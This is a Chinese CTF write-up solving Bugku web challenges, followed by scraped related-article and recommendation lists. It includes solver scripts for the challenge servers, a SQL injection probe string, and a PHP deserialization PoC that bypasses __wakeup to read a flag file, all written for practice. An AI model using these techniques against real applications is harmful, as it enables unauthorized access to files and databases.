bugku论剑场web解题记录
前言
国庆这几天感觉没什么好玩的地方,家又离的太远,弱鸡的我便决定刷刷题涨涨知识,于是就有了这篇文章。。
正文
写的不对的地方欢迎指正
web26
打开直接就是代码,这应该就是一道代码审计的题了

这里主要需要绕过第一个正则匹配,同时要令$result为真就能得到flag了
is_numeric() 函数用于检测变量是否为数字或数字字符串。

只需第一个两个if都为true即可得flag



RESTful API简单介绍
- GET(SELECT):从服务器取出资源(一项或多项)。
- POST(CREATE):在服务器新建一个资源。
- PUT(UPDATE):在服务器更新资源(客户端提供改变后的完整资源)。
- PATCH(UPDATE):在服务器更新资源(客户端提供改变的属性)。
- DELETE(DELETE):从服务器删除资源。
3. 对资源的增删改查对应URL的操作(POST,DELETE,PUT,GET)
- URL: http://localhost/student
- GET /student 获取学生列表
- POST /student 新学员报到
- GET /student/110 获取ID为110的学生信息
- PUT /student/110 修改ID为110的学生信息
- DELETE /student/110 删除ID为110的学生信息
- GET /student/110/home 获取ID为110的学生的家庭信息
import re
import requests
url = 'http://123.206.31.85:10002/'
r = requests.session()
text = r.get(url).text
calc = str(re.findall("(.*?)</p>", text))[2:-2]
ans = eval(calc)
data = {'result':ans}
res = r.post(url, data)
print(res.text)




以为是文件上传之类的



import hashlib def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest() for i in range(1000000000):#i等于从零开始
if md5(str(i))[0:6] == '66f021':#把i转化为字符串,对字符串里面的内容加密在截取0到6位比较
print(i)
break
?id=1' and 1=1--+ 空白

然后就正常注入找表找列找字段
打开是个商城无论点哪里都没用

所以只需要改变对象属性个数就可以绕过__wakeup()函数,即把对象属性个数”:1:”改成”:2:”
<?php
class Small_white_rabbit{
private $file = 'index.php'; public function __construct($file) {
$this->file = $file;
} function __destruct() {
echo @highlight_file($this->file, true);
} function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the_f1ag.php
$this->file = 'index.php';
}
}
} $a=new Small_white_rabbit('the_f1ag.php');
$b = serialize($a);
$s = preg_replace('/:1:/', ':2:', $b);
echo base64_encode($s);
?>




import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
r = requests.session()#建立会话,r相当于请求包
r1 = r.post(url, data = {'password':'flag'})#rpost发送password,r1相当于它的响应包
Password = r1.headers['Password']#获取r1的Password对应的值
password = str(base64.b64decode(Password), 'utf-8')[5:-1]#对它解码,后面是把Password转化为二进制格式在解码,因为加解密都不能直接对字符串解码
r2 = r.post(url, data = {'password':password})
print(r2.text)

import re
import requests
url = 'http://123.206.31.85:10020/'
r = requests.session()#建立会话
text = r.get(url).text#获取此页面内容
print("~~~~~~~~~~~~~~~~~~")
print(text)
print("~~~~~~~~~~~~~")
calc = str(re.findall(r'^(.*?)<br/>', text))[-35:-2]#正则匹配我们需要的密文
print("~~~~~~~~~~~~~~")#
print(calc)
print("~~~~~~~~~~~~~``")
#ans = eval(calc)#计算
data = {'key':calc}#把值传给key
res = r.get(url, params=data)#在r这个会话中传入get值,把返回的内容传给res
print(res.text)
print("~~~~~~~~~~")
print(res.url)
这需要多运行几次才能看到flag



base32解码得




bugku论剑场web解题记录的更多相关文章
- 实验吧web解题记录
自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏 登录一下好吗?? http://ctf5.shiyanbar. ...
- ssrf解题记录
ssrf解题记录 最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程. pwn题最近做的也很少,也要 ...
- pwnable.kr input解题记录
pwnable input解题记录 给了源码如下: #include "stdio.h" #include "unistd.h" #include " ...
- ASP.NET Web API 记录请求响应数据到日志的一个方法
原文:http://blog.bossma.cn/dotnet/asp-net-web-api-log-request-response/ ASP.NET Web API 记录请求响应数据到日志的一个 ...
- angr脚本——以angrctf解题记录为参考
angr脚本--以angrctf解题记录为参考 angr是用于逆向工程中进行二进制分析的一个python框架 符号执行 (Symbolic Execution)是一种程序分析技术.其可以通过分 ...
- LeetCode解题记录(贪心算法)(二)
1. 前言 由于后面还有很多题型要写,贪心算法目前可能就到此为止了,上一篇博客的地址为 LeetCode解题记录(贪心算法)(一) 下面正式开始我们的刷题之旅 2. 贪心 763. 划分字母区间(中等 ...
- 攻防世界——web新手练习区解题记录<1>(1-4题)
web新手练习区一至四题 第一题view_source: 题目说右键不管用了,我们先获取在线场景来看一看,我们看到这样一个网页,并且右键确实点了没什么反应,而用到右键一般就是查看网页源码 用快捷键(F ...
- 解决Apache的错误日志巨大的问题以及关闭Apache web日志记录
调整错误日志的级别 这几天 apache错误日志巨大 莫名其妙的30G 而且 很多都是那种页面不存在的 网站太多了 死链接相应的也很多于是把错误警告调低了 因为写日志会给系统带来很大的损耗.关闭 ...
- AC自动机解题记录
1.HDU 2222 Keywords Search 模板题 #include <bits/stdc++.h> #define fir first #define sec second # ...
随机推荐
- 探索Linux通用SCSI驱动器
通过 SCSI 命令管理计算机上的数据,并将数据传输到 SCSI 设备.在本文中,作者介绍了一些 SCSI 命令,以及在 Linux® 中使用 SCSI API 时执行 SCSI 命令的方法.他介绍了 ...
- 强制迁移、合区 APP太强势伤害用户同时是否违法?
APP太强势伤害用户同时是否违法?" title="强制迁移.合区 APP太强势伤害用户同时是否违法?"> 对于经常混迹在国内各大手游的玩家来说,"合区& ...
- iPhone7会点燃苹果内战吗?
苹果第十代手机产品iPhone7或者叫iPhone6 SE注定是设计上的平庸之作,与之前的产品相比,这两款产品只是进行了小幅度地升级,对于一些需要靠苹果logo标榜身份的人来说,几乎是没有吸引力的 ...
- 使用HtmlAgilityPack和ScrapySharp抓取网页数据遇到的几个问题解决方法——格式编码问题
需要用到对应市区县街道居委会的区域编码,于是找到统计局的网页,对这些数据进行抓取,用到了HtmlAgilityPack和ScrapySharp,由于也是第一次从网页抓取数据,所以对于HtmlAgili ...
- 初学Qt——程序打包(环境vs2012+qt5.1.0)
说来可笑,网上那么多的教程,偏偏结尾的时候就没有一个能详细的讲下关于程序的发布.开发Qt是这样,刚开始做web也是这样,因为是自学的,所以都没人可以教下,结果到了项目完成的最后总是要花费成吨的时间去查 ...
- PAT-进制转换-B1022 D进制的A+B (20分)
题目描述: 输入两个非负10进制整数A和B(≤230-1),输出A+B的D(1<D≤10)进制数. 输入格式: 输入在一行中依次给出3个整数A.B和D. 样例: 输入:123 456 8 输出: ...
- vue路由传参页面刷新参数丢失问题解决方案
最近项目中涉及到跨页面传参数和后台进行数据交互,看到需求之后第一反应就是用路由传参来解决:Vue中给我们提供了三种路由传参方式,下面我们一个一个的来看一下: 方法一:params传参: this.$r ...
- PHPRAP v1.0.6 发布,修复因php7.1版本遗弃mcrypt扩展造成安装失败的BUG
PHPRAP,是一个PHP轻量级开源API接口文档管理系统,致力于减少前后端沟通成本,提高团队协作开发效率,打造PHP版的RAP. 更新记录 [修复]修复因php7.1版本遗弃mcrypt扩展造成安装 ...
- iOS应用构建与部署小结
注:本文首发于我的个人博客:https://evilpan.com/2019/04/06/ios-basics/ 上篇文章介绍了Objective-C的基本概念,本文就来接着看如何创建我们的第一个简单 ...
- 简单服务器端Blazor Cookie身份验证的演示
为了演示身份验证如何在服务器端 Blazor 应用程序中工作,我们将把身份验证简化为最基本的元素. 我们将简单地设置一个 cookie,然后读取应用程序中的 cookie. 应用程序身份验证 大多数商 ...


